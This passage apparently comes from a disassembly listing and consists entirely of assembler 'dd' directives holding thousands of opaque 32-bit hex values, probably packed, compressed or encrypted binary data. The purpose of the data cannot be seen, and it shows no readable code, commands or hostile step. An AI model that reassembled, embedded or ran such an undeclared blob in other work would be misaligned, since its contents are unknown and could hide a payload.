0FF25C83Dh, 0FA7D0586h, 0AA1B0ABFh dd 682DB245h, 0FF1B2546h, 7868EDFFh, 6CB3A09h, 6348C6CDh dd 5C27B86Dh, 0C06E1535h, 36B6D42Ch, 0FFFFFFFFh, 0BCE05445h dd 0D561ACB5h, 89042837h, 1807EB06h, 0CF0E9E90h, 0B5603340h dd 813E9CDDh, 68F81607h, 0FB7FC5BFh, 682D5743h, 0EB073E88h dd 856F690h, 0C1994694h, 0D4CB18C1h, 0FFFFFFFFh, 79010401h dd 0F121895Bh, 0DBE65740h, 0D1A00A78h, 1A483823h, 0AE6DAB51h dd 224A2101h, 6AB1C866h, 0AB7FFC6Fh, 0A564E673h, 0E00C56DCh dd 8B5EFC61h, 0C5C5BC3h, 0C2FFB202h, 6990FFFFh, 0AA5140E0h dd 6C59EC9Ch, 37F25AABh, 5053149Fh, 582F9091h, 56509221h dd 0FF8374BEh, 0AB9DD00h dd 99A3AE02h, 0E45906FFh, 0CA7426Ch, 0FFFFF89Ah, 3F6E8A37h dd 8973EBF8h, 0FDF44407h, 0F1229CB0h, 6210CD98h, 0ACC4B9BFh dd 0FFADFF45h, 19F8B317h, 0B248BBE1h, 0FE8302BAh, 14DC5675h dd 6146B7Bh, 0FFFF3F4Ch, 7251C4BFh, 1210D4C3h, 0A1848D87h dd 0B0092410h, 488B8138h, 0D45D7AA1h, 0FFF89E4Eh, 70A0A5FFh dd 22D85A1Ch, 2D0A9AE4h, 776763AFh, 245D9FEDh, 48271754h dd 0F42FA975h, 3F9B97h, 0D63081CAh, 855514BFh, 0BFFF6964h dd 0DA097FFDh, 9D264331h, 3BD93138h, 2C31D859h, 86EF875h dd 44C266D2h, 5CEB0E09h, 0FF85FFFFh, 6CC0D746h, 4214ED0h dd 81806CCDh, 744FD6DBh, 0D1DA03h, 0AECC0387h, 0BBFA9C2Ch dd 0B232FE37h, 25F32E39h, 0DCE09EE4h, 0D4D80032h, 2E02CCD0h dd 0BF12F58h, 0E5F18D34h, 54283560h, 0BE8E73BAh, 0E05EB756h dd 0E777C2C0h, 6D03D18Bh, 5508BD76h, 82FFFFFCh, 17EB70A4h dd 0F981693Bh, 941F72D3h, 0DB858EFCh, 2D024EDFh, 0BFFFFFEDh dd 0FE683A7h, 0B35F5E24h, 52AEF51h, 0FD4F2269h, 0BE8BC7F7h dd 97A2A980h, 0FFFFE660h, 5CB312FFh, 7FED85BEh, 0A5F32A72h dd 249524FFh, 51906A3Bh, 0BC831DBAh, 16FF837Dh, 7C05FFFFh dd 3E05E72h, 8518C803h, 0ECD73A38h, 3496ADCEh, 483AB807h dd 0BFEB604h, 37FFEDFDh, 2398A35Dh, 88068AD1h, 880146EEh dd 2050147h, 0FFFF0B19h, 57E6DEA5h, 0C7C65A08h, 0B195CC5Dh dd 498D2765h, 0B6C3252Bh, 0FE8DFB7Dh, 0C783B9E4h, 0E623A602h dd 0DB3C81DDh, 61B2943h, 0FFFFBA08h, 3C944ADFh, 0F03AF800h dd 34E007E8h, 0D869BFCDh, 0E48E448Bh, 0E48F4489h, 0FFF77FFDh dd 34D3E8E8h, 0ECECD34Dh, 2BF4F0F0h, 0F8F8F409h, 6D8370FCh dd 8D047744h, 0FFFF00FAh, 6C191BFFh, 0E9AF868Bh, 3CF4FFBEh dd 115C4803h, 3664745h, 90C20B7Bh, 43FD0BA1h, 0FFFFFFFFh dd 11C17042h, 410E11A3h, 2B30FB78h, 6731748Dh, 84FC397Ch dd 92F6DD9Fh, 0E3FD0D24h, 3CC077FCh, 0FAB7F46Fh, 10E4D9F7h dd 708D4D22h, 0EF9933Ch, 0C42BE7E8h, 0FFFFFFFFh, 0D4902C3Bh dd 9B0AD607h, 0C2003EBh, 6F3E036Dh, 0CF25BD51h, 5A01EEEFh dd 4FB201EFh, 8612EE9Eh, 0F52FFFFFh, 29EEAB23h, 6CB7845Fh dd 24279040h, 0CAF1B0B3h, 0B2032D96h, 0BAE95675h, 0F5BFFF77h dd 5B4C730Bh, 84037C16h, 0A69A69B0h, 0A49C948Ch, 8CB13CB7h dd 0FE541C9Bh, 181CC4AFh, 1014BC03h, 160C0C10h, 6FFFFFD2h dd 404066Fh, 231330B0h, 3D805D0h, 0B63CFCE8h, 9B96E704h dd 0F8BB5B7h, 9752FA61h, 610B60FEh, 6BB1387h, 4491032Ah dd 24696668h, 1706F85Fh, 0E413D072h, 0AFE8F1F4h, 0F1437588h dd 1BFFD653h, 72599EFFh, 3F14A2AEh, 0A25945A2h, 3950D5ACh dd 42542252h, 0DBFF5DBDh, 0A585FFFFh, 672D1A67h, 37E1E4FDh dd 3E05072Dh, 180AEBB6h, 47C359C6h, 0A11DD8D8h, 0FFFFFF67h dd 70ECFFh, 19167524h, 0F1BB2F51h, 47900105h, 59069D50h dd 0C86D6B07h, 8D155FB7h, 914E7580h, 0FFFE859Dh, 0BBB647FFh dd 8DE4353Bh, 5B8C2277h, 0DB66C9EBh, 0D1E57F80h, 0E27D45E4h dd 0BFF16F63h, 6D6B14D1h, 9F870FE0h, 0FEE0282Bh, 8304FA8Bh dd 0FFA37F32h, 0FEEE99FFh, 8B939FC5h, 65D875FDh, 61E6A7Eh dd 58B9DE63h, 0D8382776h, 0FFFFFF61h, 103DD02h, 0AA57706Eh dd 0FDEE3B0Eh, 7EA8C58Bh, 50FA985Bh, 80C11EEBh, 6FF81655h dd 3B9F6FFFh, 0D56B6DD2h, 19753E61h, 0E8B747FFh, 0E70FD1CCh dd 8DFFF46Eh, 0FDD3ECDDh, 3FFFDADEh, 5392675h, 5FD411A8h dd 25FFFFFFh, 0C16532A4h, 0F128476h, 24881BDh, 76063889h dd 0C308A3F6h, 5921C35Dh, 0B8DFF14h, 0CD6D96FCh, 0EC00C73Dh dd 91D51571h, 0EC08D829h, 0FF0DCE0Ch, 4BFFFD4Bh, 69C5D6C0h dd 84A18A1Ah, 0EBB814Eh, 0E056A19h, 3A66F405h, 412E9695h dd 5FFFFFFh, 3FFA8338h, 0C6D75731h, 72641AADh, 7D72B0Ch dd 0FEF9A95Ah, 0FFCFE9DBh, 2760F42Fh, 0E1CA1006h, 0E8872177h dd 58ABF3FEh, 0FFC3270Ah, 58DFA5Fh, 5F60EAB7h, 79423C3h dd 68107927h, 1E085DA0h, 78EC0C0Eh, 46FFFF89h, 59B4F8C8h dd 0A523316Eh, 0EDF23182h, 12530CEFh, 2A854522h, 0B7FFFC1Bh dd 9E932A60h, 0B8216D21h, 88DA1286h, 0A1CA0D8Ah, 0E1FA97C3h dd 53FD5BFFh, 1C3FE056h, 9E3F9504h, 0F05649EFh, 4648E2CFh dd 0FF650C59h, 897EDFFFh, 35EBE45Dh, 0F796DF83h, 8B27742Dh dd 0C6A6FC43h, 3166E372h, 0B0C6D0DAh, 0F897FF75h, 4F34E4FFh dd 0E8CC4D6Dh, 0D6A1534Eh, 0D0217939h, 0F727BC2Eh, 46F60675h dd 0E97FFF89h, 0E67A3FFh, 223AE1A3h, 990708F0h, 66720442h dd 0E0082053h, 0C18CBCB2h, 16EF144Ch, 30FFFB7Fh, 0E32FE07Ah dd 0F731DDB2h, 53544601h, 0C186E120h, 74281630h, 0FFFFC4BFh dd 406E9434h, 0D99C4A0Dh, 9ABBF85h, 3D395C7Fh, 0FA56991Fh dd 8362DE42h, 0B8FFFFFFh, 25E8282h, 6C75E0B6h, 90BA1AF9h dd 5F845926h, 0CF62833Bh, 74249878h, 0FFF4BF44h, 8971EB7Fh dd 0CAC4D1EEh, 8856EB80h, 70DC6068h, 0B5743492h, 7356CD76h dd 0F1AADFD7h, 0A4D8DFFh, 0E6E91243h, 10B13FAFh, 5CCED421h dd 17321A88h, 0A4FF56F8h, 833C7D71h, 0E6A15BE8h, 0EB15E565h dd 0FF27A2BCh, 6FFFFFh, 14B94998h, 645CDDD5h, 20A331F4h dd 35365B5Ah, 84BFEDFAh, 74313B30h, 0FEB60F7Ch, 30A5FFFFh dd 74F32BE4h, 0AD761515h, 0FC4BADEh, 1B5CC49Fh, 850A18FFh dd 0D6C40B69h, 37FF0BFAh, 86701B05h, 264E6959h, 0DD2001B0h dd 64E69A02h, 0AB7E2702h, 1138DE37h, 98BAD7CDh, 94224F6h dd 70FEE9A4h, 2DFA5FFFh, 74047139h, 4C184D7Eh, 0D9C8DD20h dd 5200503h, 0B604C9B8h, 0D2FD6FFFh, 9706069Ch, 7DDFC79h dd 372078Fh, 66902608h, 49000864h, 0D6F6F897h, 9094C3Fh dd 0E6905028h, 0CB9E0A0Ah, 4B897D73h, 0E2660AB7h, 81395B02h dd 0C4D0C3Ah, 0DFFFFFB9h, 1B52E80Ah, 980D200Dh, 9A40993Bh dd 0F770E0Eh, 2991968Fh, 5D520FA4h, 10CBFFF8h, 597DD610h dd 4D103010h, 604C9C29h, 641111CDh, 0FBBF1912h, 3435BFEDh dd 1E7121Fh, 23CF2C13h, 1401C213h, 148D7714h, 9D99144Dh dd 745BDDF1h, 78D5158Ah, 8F11CD16h, 17175716h, 2F4B897Fh dd 32214CE2h, 451327CDh, 9184D18h, 0FFE91919h, 207177E6h dd 1A00E819h, 1BC71ABAh, 0F2F71B8Fh, 0A2429Ch, 0BADB7EF2h dd 0AE2C9E55h, 0BF084DE3h, 39A61C7Dh, 0DF6FFFFFh, 601D1D85h dd 900EE61Eh, 1F83431Eh, 0FFC0B81Fh, 3227521h, 2BCA03C2h dd 0FFA97AFAh, 86A93042h, 536DC7FBh, 0FF0B6315h, 16FF8731h dd 0BC145FFFh, 622179ABh, 0C65755BDh, 80F23994h, 1BEDB7CDh dd 0EDE4510Ah, 74FB7FFFh, 6DF24D71h, 0D2F22B06h, 3F9669AEh dd 12548DC2h, 1CE5D5F2h, 0F05069A4h, 0E5FADFFFh, 29E6E6B8h dd 0E79B0370h, 707365E7h, 5F762B08h, 9216E882h, 0EDFE1BEEh dd 7D742F2Fh, 271548E8h, 4ECCEB96h, 0E920E94Ch, 552D9309h dd 0EAEEFFE0h, 3BE40CEAh, 0E7EB8EEBh, 604EECFEh, 0FF4F2C87h dd 316C2FE1h, 46E94EFEh, 9EED20EDh, 7DEEEE4Fh, 776465EFh dd 0AFDB817h, 58EF8EE9h, 90E4D3F0h, 3A39306Eh, 0BE0FF1F1h dd 0F2EDA5E1h, 0F24CC8CDh, 69F3F3DEh, 0F4FDC991h, 0BF8668F4h dd 0EB38DFE1h, 0F43005DAh, 0E6DAA04Dh, 7F20F5F5h, 159AE1F6h dd 0F6F0FC0Ah, 4B1EF75Eh, 0A4FD39F7h, 0FF9BF043h, 4CF865BFh dd 0E466F911h, 0F920D204h dd 0E9FAFCF0h, 8EFBCFFAh, 2A34C9FBh, 0AAB6DB7Ch, 6F7400FCh dd 0E56722DDh, 5AA5FFFFh, 5CD3E47Ah, 0FD46D749h, 0FE1BFD1Ah dd 4D212A6Dh, 75BA13FEh, 0C293FFA9h, 0DEEE5FEBh, 0CD402A75h dd 0C94D2BFFh, 0FFF81785h, 4C8DB817h, 532B9D09h, 6C71C12Ch dd 96435B05h, 4B475585h, 0E17FFF46h, 0F7E3E313h, 0D1E3B027h dd 20E4FBFDh, 327348E4h, 1784DC81h, 8F02FFEh, 0FC482693h dd 9ED90E13h, 0E7FB9647h, 3AC21D8Eh, 0F0B817E2h, 6E4CC099h dd 9A392DABh, 0FB2CFB4Dh, 5BB7FFC8h, 8E85305Ch, 996BEB59h dd 0DF4CEB76h, 0E400ECFAh, 0DFFF7250h, 0BE0AFFFDh, 96FA9DFAh dd 8EB614E7h, 0EFEFFA78h, 4CEF43D6h, 250EF050h, 2F00B0A7h dd 0BFF0EFAh, 0F8FAB7FFh, 0E98E4B61h, 272F3F9h, 4C07643Bh dd 2192F9C1h, 51FF29A4h, 0EDFFB636h, 165853F9h, 0F65A6EF9h dd 0F99E591Ah, 3C0F00F7h, 0F06FDDD6h, 0F8313237h, 0A1C96100h dd 0F8EFF95Eh, 0CAEC211Eh, 0EB7FFF12h, 0EFBFBF8h, 4CFBD813h dd 0FC20FCA2h, 8133ACB6h, 0FF810681h, 34F46C1Bh, 0FE1D5727h dd 3B3635D2h, 40124924h, 0FFFF2471h, 9612FEEFh, 167E006Bh dd 0E21B61DFh, 6EE2E2B0h, 72358539h, 2CE3F7F1h, 5842F7D0h dd 6FF32872h, 0F7AFFFE1h, 0F6C8763Fh, 0E6F78A9Ch, 664CF78Eh dd 6C2CE762h, 7E1B0BC5h, 0F720F741h, 0FB77988Eh, 26B0E5F6h dd 0EF1DC28Fh, 0F6D384BEh, 0B2B94B2Ch, 0B7F691F6h, 0DB6C8E61h dd 0FF0DFDBFh, 62C23C9Ah, 1F64438h, 0F6232CC2h, 5CE5F602h dd 0F5DD8E2Dh, 0DBF6D4F2h, 585793FFh, 0B538F29Ch, 0C99287F5h dd 73F5942Ch, 0E9AC46F5h, 77BB7FFFh, 7B22F54Eh, 0F6F62C8Dh dd 7674D3Ch, 2C256759h, 1AF82004h, 0C37FFD2Dh, 0F4E3F8BDh dd 1E1939F9h, 0E4FAF4BEh, 0FA931611h, 0FFF49638h, 81ADF97Fh dd 0F4752C8Ch, 0F454299Ah, 0F9662F8Eh, 8FDDAB7Ah, 349066FEh dd 0FFFFFFA5h, 3EF7F484h, 6E516151h, 0D60F70A6h, 0D5D84FFBh dd 13302D82h, 0E23D1F03h, 0FFF8CBA4h, 5459EEB7h, 6BFF00E1h dd 0E2F30B91h, 4392C241h, 8EF3AFC9h, 0DF4C54F3h, 806C2FFDh dd 58C2F369h, 79584793h, 2541F341h, 0FFF32096h, 0BFFFB2F2h dd 863C85FDh, 0E9F2DA8Eh, 6AC694E9h, 96F2B27Ah, 913ACA1Ch dd 0F27041F2h, 0FFFE1B6Fh, 0C2991964h, 0EDED4B8Eh, 0D5847928h dd 0E1F2237Ah, 0E1170275h, 0FCB864F1h, 39E3C2FFh, 0F1F1BCE2h dd 5E4F13Ch, 707B55D2h, 0A1D6F193h, 5EE8DDBFh, 0F151424Dh dd 0F1A5B0BFh, 9356BEF5h, 17047AF5h, 0F1FF0BF8h, 0A1C848B2h dd 176EF0E3h, 0F0C2BC96h, 0AB659D8Eh, 0D5BFF6C9h, 0C3F9F2DBh dd 8C50EB28h, 41F054F0h, 725B0A75h, 0FE261833h, 0A40EC6FFh dd 4596BE4Ah, 0CA84DD12h, 3C59E815h, 0FECCC21Bh, 0C7FFD0BFh dd 51FD8C87h, 0C22B1610h, 0F766B73h, 0EDB840D1h, 561F4107h dd 0D2FAA401h, 0C03797ADh, 73EECC20h, 3AB478Bh, 0DFF4EBDh dd 4A47142Eh, 0C9E09BDCh, 0C2E48765h, 0A5751188h, 68FFD28Dh dd 0BB3F6584h, 804B1CB2h, 2A3454Eh, 0FFFE2D7Eh, 4E201CFFh dd 0A8467501h, 0CEB101B4h, 0A02D30B5h, 7FB71009h, 0BFD07281h dd 0EADADFD4h, 4049FFh, 0F2034DE6h, 5BA69B51h, 57CD5658h dd 0B8558463h, 72F4BFC5h, 0DF2E5CB9h, 50D34CC7h, 5C6554F5h dd 0EDFF58CDh, 65D65FFFh, 2CD347C9h, 4BA9CB97h, 53D64FB5h dd 36201A3Ah, 0AB47264Dh, 0FF4A8B46h, 97D6FFFFh, 72CD334Eh dd 0FC2852B8h, 1B280849h, 9F917354h, 6FC6E1ADh, 46FDBE5Fh dd 0FFE8DC0Ch, 637500FFh, 5875ACE8h, 6C484689h, 68040E89h dd 7E0A4E89h, 0FF8B04D8h, 0C64BFFFFh, 0FD69680Dh, 840D8B12h dd 0A1B82968h, 704811DEh, 0E3718175h, 6CBB9F89h, 7FE25FEBh dd 5A87E81h, 161C6788h, 81F080Ah, 0B2DDFCCFh, 0FF8B7F6Ah dd 1504A4FFh, 27040F6h, 2831475h, 0DBEA2E62h, 8B7D017Dh dd 4405908h, 0FFFFFF1Ch, 3CD4C6FFh, 7A043C10h, 0C0F09910h dd 47B85F0Dh, 83F02BD1h, 1BCACB8h, 8474137Eh, 6AAD0760h dd 0FFFC4B08h, 157822FFh, 5BF407A0h, 8B10EBCBh, 6FFDC880h dd 0D45FC04Dh, 0A7834804h, 0F85FFF80h, 0F80F4846h, 0A646183h dd 3DF38C1Ah, 0DCE9AACCh, 6C5B6F6h, 12FFFFFFh, 0B95891D9h dd 7E024128h, 0BDC3AA87h, 0E8534849h, 49B59073h, 17681677h dd 85FFA97Fh, 7AEE2750h, 192DB712h, 7C22DEC2h, 2C064314h dd 89712FD2h, 7E412AFFh, 64FA8ECBh, 809F18ECh, 8CBED4E8h dd 0FC5BF139h, 0F412E1FFh, 5473DE3Bh, 4B983A0h, 0BEBDDC14h dd 875301E8h, 0FFFFFF17h, 818BC52Fh, 0EE968B6Dh, 8F0158D9h dd 0DB3B100Fh, 18CC938Eh, 98504A5Fh, 6C87D2F4h, 0DFFF83DFh dd 9860ADEAh, 0E05D133Ch, 381131E8h, 6B89B7DEh, 0D1797DC1h dd 5A7E97FFh, 46E7DB9Bh, 7C3A502Eh, 138A12CBh, 46FFD16Ah dd 0FFFFFFC0h, 5DF90ABFh, 0FE45C6FDh, 15EB5900h, 6748B65Eh dd 16542AE3h, 4100FDFCh, 0E6FFE80Eh, 0FFFF9851h, 0D706FFFFh dd 6AF8558Dh, 6B515203h, 6D8BED88h, 4CB070D0h, 7224AA88h dd 0A91A2955h, 0D7FFD5BFh, 540B286Fh, 0D525E897h, 4D2A6845h dd 0F0F3E1F9h, 0FF56F871h, 0BF8657Fh, 0F03FA6C1h, 0FE415B5Eh dd 3A2E7D05h, 83119E48h, 0DA97FFFFh, 127A7B43h, 0CF4A493Dh dd 828D0F4Ch, 8AB3451Bh, 42DD3211h, 0FFFFFCA1h, 8410FFFFh dd 8A6F74D2h, 0CC840171h, 1419F758h, 80BA9600h, 983A118Ah dd 0B3AA5B17h, 0C50D9437h, 0CBFFFFFh, 66F3F10Ah, 501B67FFh dd 0C612C385h, 7E8DE975h, 2618AFFh, 0FFF4B5DDh, 84F7B06Fh dd 3A02284Bh, 8ABE75C4h, 8A183544h, 7B5D5F66h, 6FFFFFFFh dd 7410C178h, 31ABEBDFh, 7DCB8A36h, 0F725BC23h, 0FF478D32h dd 5C7BC0Ch, 0C23720C7h, 0FFD5BA17h, 39BB406Fh, 1D750C5Dh dd 46535325h, 0F7160599h, 0FFFF0BFCh, 19517268h, 0EB08112Eh dd 0D528684Dh, 0DCBBB152h, 8A38614Ah, 10245AA6h, 4BFF46FFh dd 0A22DED7Ah, 224840A1h, 0CA86587Fh, 7F3442B3h, 0FFA19BEBh dd 0E44DFFFFh, 0C478F08Bh, 0BD8DD953h, 0EB1888E0h, 7DFF5327h dd 0B05439EAh, 0CC2B06B0h, 7EDAA195h, 0DFC7D577h, 776E463Ah dd 0BFFEA5FFh, 0F757EB5Ah, 7505ADC1h, 83740B01h, 0BACF97CAh dd 103DD401h, 837FEF75h, 11FF02Fh, 7E1CFFBAh, 1283D003h dd 33C90BB7h, 0E85F1EC2h, 0A904F12Fh, 0E8730118h, 0DCFC418Bh dd 23285066h, 0FFA91A11h, 0A9FFFFh, 0BC060E3Ch, 7D196F6Dh dd 798DCDF4h, 0FE040DC6h, 583C08EBh, 0C0FDBCB7h, 7E142FE3h dd 630C64FCh, 78DD161Dh, 886688E1h, 0FFFDDF17h, 16B07F8Eh dd 0EBEA3EEBh, 726BEA05h, 4DD0DD6Dh, 6F118B76h, 0B73431E1h dd 0BFFADFEh, 6D00C283h, 126D8DECh, 0CBC76E07h, 442367ECh dd 6DC60866h, 93951BF5h, 37B00876h, 0FFC6D82Ch, 5BFE97FFh dd 390E1C00h, 54E2464h, 3B2D3D13h, 32FF061Ah, 49C97088h dd 0FFFFFFF8h, 55411324h, 2D6C932h, 0FDFE09D1h, 4C98ECA3h dd 70E8C5FCh, 271D01F0h, 0B81E0560h, 0FFFFFF04h, 246DF8B7h dd 3D81C720h, 0F75B00B8h, 5A4DFDDBh, 3CA13375h, 0EB88108h dd 22AD4550h, 0FFE2DFFFh, 54B7B81Bh, 0B189A2Ah, 0C674B1ACh dd 0E74BDD8h, 39750E76h, 0F0AE888h, 0FFFFD5BFh, 1DE0295h dd 6A9789D0h, 0AC06860h, 0EC495A36h, 642087h, 18A0DAADh dd 0FFA978B7h, 78BF65B4h, 174070A1h, 4144871h, 0D31C5A98h dd 52FFFFE3h, 1B9BC8Fh, 6A0D5BFCh, 274D6C12h, 3E89614Fh dd 75B01334h, 7ED52FFFh dd 112DDC10h, 2B16F433h, 6CB21D00h, 7C85430Dh, 0DF4B0405h dd 0B2DCFFFEh, 8CBF8D6h, 0C7E8BD8h, 5DAFE781h, 44BC9A28h dd 5E6E00Bh, 0FFFFAB7Fh, 0D809CF81h, 2213140Eh, 0DF26C128h dd 8B7FEDDDh, 89C28C55h, 0A6724835h, 0FFFFFD5Bh, 890450A3h dd 1505540Dh, 9F33EE4Ah, 844C3D58h, 6D3F5D4Bh, 51533FB9h dd 0FFFA17D0h, 7B7F59CEh, 0B6324E1Ch, 76059C9Bh, 27924D91h dd 0FFFFD965h, 6320BFDBh, 7DE78F18h, 1B146B58h, 8559C260h dd 5215A30Ch, 0F8676464h, 0E0A3B28Eh, 0FFA5FFFFh, 0F98D2580h dd 91937F08h, 986E0DDh, 59DE6173h, 4ECBF6h, 84292279h dd 0FFFFBC5Dh, 610C12ADh, 5F4DB981h, 51590A6Ah, 0EA075050h dd 140DF89h, 0FFD1BFFFh, 3003EFDFh, 3006B965h, 1095263h dd 0EBD2EDF1h, 8BECA42Eh, 4D8909EEh, 0E97A817Dh, 156D85D4h dd 97E289F1h, 852FD416h, 0BFFFFFFh, 8363CFB4h, 0EC1871A0h dd 3DEBA219h, 75B81229h, 22CC019Fh, 0E96F9242h, 0E25E8CF6h dd 0E452FFFFh, 0E963628Ah, 99A205BAh, 0D3BF0D80h, 16FC7FBBh dd 8D06E2CEh, 0FEB7FF9Bh, 6F0FD7ADh, 104E0306h, 476C1AEh dd 305E2056h, 4F03077Fh, 0FFEB7A37h, 9BBB3612h, 7F577FCDh dd 0AD666F5Fh, 1076506Eh, 0FFC5D766h, 7E6DFFFFh, 13671870h dd 777F6F7Fh, 47DFEE7Fh, 8D707FF1h, 5BF14B6h, 8BA37549h dd 0BFFFF56Fh, 682AE656h, 1C862379h, 0CC181ADFh, 89AE83F4h dd 7B5599C3h, 5BFFE2A5h, 0D65DE85Dh, 8DCAC633h, 6C41AF5Ah dd 7633F874h, 7FFF49FAh, 0A006FF83h, 8BFE06B6h, 2BD70BD1h dd 1FCECE8Bh, 2E02C77Fh, 0F13B8CDDh, 0FF0B2B4Eh, 9CF1FF46h dd 8205764Fh, 8E312A11h, 0B6A25FF8h, 3424F77h, 0EAA5FFFEh dd 17D12BD3h, 0D50AD803h, 5DC7A976h, 6FEC39F0h, 0A5DF8217h dd 8D85C1BFh, 537AA4F3h, 3575CF3Bh, 0FFFD9C93h, 0DC25FD0Bh dd 0E44A6C21h, 62921B8Ch, 3B9D681h, 5553D10h, 0BE4F2B57h dd 0BC6FFFFFh, 618D83D6h, 42F1AE5h, 9136092Dh, 8BA5F3ADh dd 758DCF9Fh, 8B5403AFh, 0DBFFFFFCh, 259FE2C9h, 8239DDE9h dd 933A05F8h, 670AA353h, 81E97E87h, 43B7C89h, 0FE8508CDh dd 6C9A6FFFh, 4A16EAD0h, 9A5F2DF9h, 256B66EDh, 0C7711BEh dd 0FFFF346Ah, 0C1AFFFFh, 0E1BFC102h, 0C04405C3h, 3B590E6Ah dd 23C01BC8h, 0AD1DEE95h, 0DFC208C3h, 70B806BFh, 0FFFE2061h dd 7C7CE05Fh, 0C748E72h, 42F856C3h, 1FC058A5h, 88951CEh dd 1058A3A9h, 0EDE8D863h, 5F305A37h, 0C0450A28h, 0E56E60Ah dd 0F02FFF8Ah, 61087597h, 1C34D16Bh, 67497257h, 3E4AD014h dd 0A21A6953h, 0FFFFC0BFh, 4DC45B82h, 0B755EB7h, 45720577h dd 312444B0h, 0DF358AEh, 0DB39ACD7h, 0FC0BFF83h, 0C0940FDCh dd 829CA868h, 652045A5h, 0CF8296A3h, 0B7FF8D6Dh, 86B252FFh dd 8EA3B473h, 0C908EED0h, 1D096824h, 1083CF53h, 0DFFF0A1Ch dd 2929FFF8h, 57F1E01Ch, 0B3A28h, 9D0CAEBh, 0BF24AEDDh dd 3C830FF0h, 0A6184F5h, 0FC5B1BFFh, 0B1048D1Eh, 80C2F5D4h dd 0A0683826h, 430380Fh, 0FFFFD118h, 475BE25Fh, 0CDAEA76h dd 7C243D46h, 16C436D2h, 2413CC0Eh, 0F1EB7B29h, 0E0DFB783h dd 0ADCFB7Fh, 0F2E03C74h, 85FB6BE1h, 13293E62h, 0E001CB83h dd 0D2FF7B57h, 0E2D1F0BFh, 262F5018h, 0DBB1889Fh, 0FEA1B82Fh dd 7C2262A0h, 0FFFF29DCh, 0CB5FFEDFh, 148C5FCAh, 1F509129h dd 894386EFh, 0F85239E6h, 2AC534FFh, 1018C40Dh, 0E97F5D62h dd 0E83BFC1Bh, 2082B414h, 0A26BC190h, 0E5D38870h, 52205D8Eh dd 0EDFFFFFFh, 0D4348D5Fh, 625BFA1Eh, 7DC751A1h, 9F942B6Ah dd 0E08C0559h, 180F2229h, 6CA0A4C6h, 0FFFF837Fh, 72B8514Bh dd 0B708C235h, 82C752Fh, 4590457h, 17F68E6Ch, 2EC135C4h dd 0A37FC6FEh, 9D0B6AD0h, 991A07EBh, 534024E4h, 59D40A95h dd 0FFFFFFE3h, 0D82B1C17h, 7C381683h, 1A509B0Dh, 112AACDBh dd 41882455h, 464CD36h, 497FCA07h, 2FFFFFCh, 0C279B04Ch dd 8EE0FC04h, 0D2CBC301h, 0D45CC967h, 0DC167240h, 0BFFFE8A3h dd 57C52FC0h, 62C52050h, 0FE05ECB2h, 105CBAFBh, 1F0DBFA4h dd 7FFF38A1h, 0C96BFF83h, 2C80314h, 92A689B1h, 5D0C5008h dd 0BA17F402h, 0C0887222h, 0C2F43B14h, 72C1FF1Bh, 628E69EAh dd 41490C03h, 0C12E9D10h, 0A350D30Bh, 79806FFFh, 0EFC1FC55h dd 0BF5DDC95h, 5469CFC3h, 0BFFFFFFFh, 44018CF7h, 0E40E398h dd 0EF92F82h, 0C0C1F649h, 0A2A6FAD4h, 1C8DAF34h, 1E138B31h dd 0F825B76Ah, 0BB52FFFFh, 5FC56ABh, 0C2F608B4h, 0FE02971Dh dd 0C174781Bh, 7A4A04FAh, 0FFFFFFEAh, 8B5A0C76h, 0AB7DBA0Bh dd 84B954Bh, 200F4275h, 16FF48BBh, 1973B4BFh, 0FAEBD3EDh dd 0B75FFFFFh, 21D31E02h, 0FE44B85Ch, 0FD93A809h, 802375DDh dd 1CEB1921h, 19E04A8Dh, 0F0BFFF9Ch, 0D3EB3017h, 61C1319h dd 0A653DF16h, 0D6CAB6D9h, 0FC5D045Bh, 37FF5AF4h, 0CBF86FFEh dd 55D02B5h, 93178A52h, 981D444Ah, 0E3045D75h, 0BAB9BD01h dd 0F56FF897h, 478FC22Fh, 0FBC11101h, 0ADD4A004h, 5E4B48A0h dd 0FFFFFFFFh, 6DB3DCD4h, 47DE6889h, 0D63B35F8h, 829AD940h dd 3BD611EFh, 0D55E74DAh, 0FD71B371h, 3B7E445Bh, 0FFFFFFFFh dd 0BE20FB83h, 0EED3CBDCh, 7421D6F7h, 0DF7D6F63h, 4034CAFh dd 31942175h, 0E04B8DC8h, 0DAC5B417h, 56C0BFFFh, 3FD2AD9Dh dd 2D9CB245h, 0A649AFB1h, 8040B4Eh, 0D6FFFFFFh, 0A6BC6AB9h dd 0A9405BC6h, 8DB54F6h, 0CDB58F6Fh, 2DD9EDFCh, 0D10C8DF0h dd 0FDBF598Bh, 5E24FF06h, 4AD97005h, 80B2DD7h, 8A604E88h dd 14DF0D48h, 0FC0B4D88h, 0FE0FFFFFh, 0B8845C1h, 0C2844273h dd 3F0F2CB6h, 35534A0Eh, 0BB6211B6h, 7FFF19DDh, 5D0BFFE1h dd 6009A744h, 0A58DB186h, 2556E129h, 2D748F63h, 0EABA0F63h dd 9B7848Dh, 0FFFFFFFEh, 1A37F576h, 689C901h, 0FC304489h dd 7D08FFA3h, 331668F5h, 306CA1F3h, 6F32D9D8h, 0FE0DA0FCh dd 6D8DFFFFh, 24358B94h, 0D77B409Dh, 60C160DEh, 570C4803h dd 0FF5153BDh, 5FC71FD6h, 0B78DFFFAh, 95B3236h, 8B0E0850h dd 0EFB0FB40h, 0A48320B3h, 0F8946C88h, 1500FDBFh, 0A4348FEh dd 483FB4DDh, 43798010h, 86096A7h, 5BFF0BF4h, 0D881B63Dh dd 65647880h, 129870FBh, 12BDD142h, 6FE37D2Fh, 38FC7C54h dd 36E43072h, 2BED158Bh, 146814E8h, 0FADFFC5Bh, 140D9F6Fh dd 51A786ACh, 7F7C9569h, 0E92AFF72h, 0C6FF77FDh, 2BE242FFh dd 86D4476h, 0F13F1B14h, 0A3213755h, 5BA2FF40h, 0FFFF52FCh dd 0D4F6BDh, 5649A109h, 974B34EAh, 3BD555BEh, 10303409h dd 0F0BF336Bh, 0CBB0BFFh, 377F6BE2h, 0C73B9157h, 8886D26Ch dd 7F83780Dh, 0FFFFF435h, 1958FFFFh, 0F67AA3E9h, 41C4682Fh dd 0D25BE85Fh, 893508D6h, 6AC774C5h, 416A7B04h, 0C204A0Bh dd 2FFF5795h, 5219FFFCh, 286414B4h, 6C4F1240h, 57D81FB5h dd 4E839BFFh, 6A897A41h, 420BBD1Dh, 0F4A97E95h, 56205FFh dd 0B60C7AF4h, 32925F79h, 0BFFFFFFFh, 0F910337Bh, 0D2612938h dd 37A1A2Dh, 0F95943C0h, 0C3C06912h, 39C7037Dh, 96FD3084h dd 0B7FF895Ah, 840FEDAh, 0B0776E16h, 